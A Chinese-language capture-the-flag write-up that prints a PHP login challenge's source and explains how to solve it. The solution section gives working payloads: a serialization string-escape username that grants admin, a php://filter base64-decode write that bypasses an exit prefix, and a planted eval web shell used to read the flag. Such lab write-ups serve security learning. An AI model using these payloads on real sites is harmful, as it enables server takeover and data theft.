共计3106个字符,预计需要花费8分钟才能阅读完成。
题目
Escape!
小李写了个登陆网站,他不放心便加了个 waf, 殊不知这个 waf 不仅没让网站更安全反而给了黑客机会
同时给了源码:
- waf.php
<?php
function waf($c)
{$lists=["flag","'","\\","sleep","and","||","&&","select","union"];
foreach($lists as $list){$c=str_replace($list,"error",$c);
}
#echo $c;
return $c;
}
- login.php
<?php
ini_set('display_errors', 0);
error_reporting(0);
include "waf.php";
include "class.php";
include "db.php";
$username=$_POST["username"];
$password=$_POST["password"];
$SQL=new Database();
function login($db,$username,$password)
{$data=$db->query("SELECT * FROM users WHERE username = ?",[$username]);
if(empty($data)){die("<script>alert(' 用户不存在 ')</script><script>window.location.href = 'index.html'</script>");
}
if($data[0]['password']!==md5($password)){die("<script>alert(' 密码错误 ')</script><script>window.location.href = 'index.html'</script>");
}
if($data[0]['username']==='admin') {$user = new User($username, true);
}
else{$user = new User($username, false);
}
return $user;
}
function setSignedCookie($serializedData, $cookieName = 'user_token', $secretKey = 'fake_secretKey') {$signature = hash_hmac('sha256', $serializedData, $secretKey);
$token = base64_encode($serializedData . '|' . $signature);
setcookie($cookieName, $token, time() + 3600, "/"); // 设置有效期为 1 小时
}
$User=login($SQL,$username,$password);
$User_ser=waf(serialize($User));
setSignedCookie($User_ser);
header("Location: dashboard.php");
?>
- dashboard.php
<?php
ini_set('display_errors', 0);
error_reporting(0);
include "class.php";
function checkSignedCookie($cookieName = 'user_token', $secretKey = 'fake_secretkey') {
// 获取 Cookie 内容
if (isset($_COOKIE[$cookieName])) {$token = $_COOKIE[$cookieName];
// 解码并分割数据和签名
$decodedToken = base64_decode($token);
list($serializedData, $providedSignature) = explode('|', $decodedToken);
// 重新计算签名
$calculatedSignature = hash_hmac('sha256', $serializedData, $secretKey);
// 比较签名是否一致
if ($calculatedSignature === $providedSignature) {
// 签名验证通过,返回序列化的数据
return $serializedData; // 反序列化数据
} else {
// 签名验证失败
return false;
}
}
return false; // 如果没有 Cookie
}
// 示例:验证并读取 Cookie
$userData = checkSignedCookie();
if ($userData) {
#echo $userData;
$user=unserialize($userData);
#var_dump($user);
if($user->isadmin){$tmp=file_get_contents("tmp/admin.html");
echo $tmp;
if($_POST['txt']) {
$content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);
}
}
else{$tmp=file_get_contents("tmp/admin.html");
echo $tmp;
if($_POST['txt']||$_POST['filename']){echo "<h1> 权限不足,写入失败 <h1>";}
}
} else {echo 'token 验证失败 ';}
思路
一打开页面跳转到 login.php
要求登录,输入的用户名和密码没有过滤,看到 38 行:
$User=login($SQL,$username,$password);
$User_ser=waf(serialize($User));
setSignedCookie($User_ser);
这里是先进行 序列化 再 WAF 的。再看到waf.php
,会将某些关键字替换成error
。比如说flag
替换成error
,而序列化后读取的字符串长度又不变,那么这里就会出现字符串溢出的漏洞。
构造用户名为 flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflag";s:7:"isadmin";b:1;}
。由于字符串溢出,那么反序列化后的结果isadmin
就为 1
了,成功进入dashboard.php
。
dashboard.php
里存在 file_put_contents
这种危险函数,容易执行任何命令。但是在 40 行:
if($_POST['txt']) {
$content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);
}
这里输入内容前面会加上 <?php exit; ?>
,那么我们输入的代码岂不是还没执行就exit
了?可以用 base64 编码来绕过。
输入文件名为php://filter/write=convert.base64-decode/resource=shell.php
,文件内容为<?php eval($_POST['a']);?>
,但是我们要输入编码后的aPD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7Pz4=
,这样成功绕过。
最后直接 POST 内容 cat /flag
即可。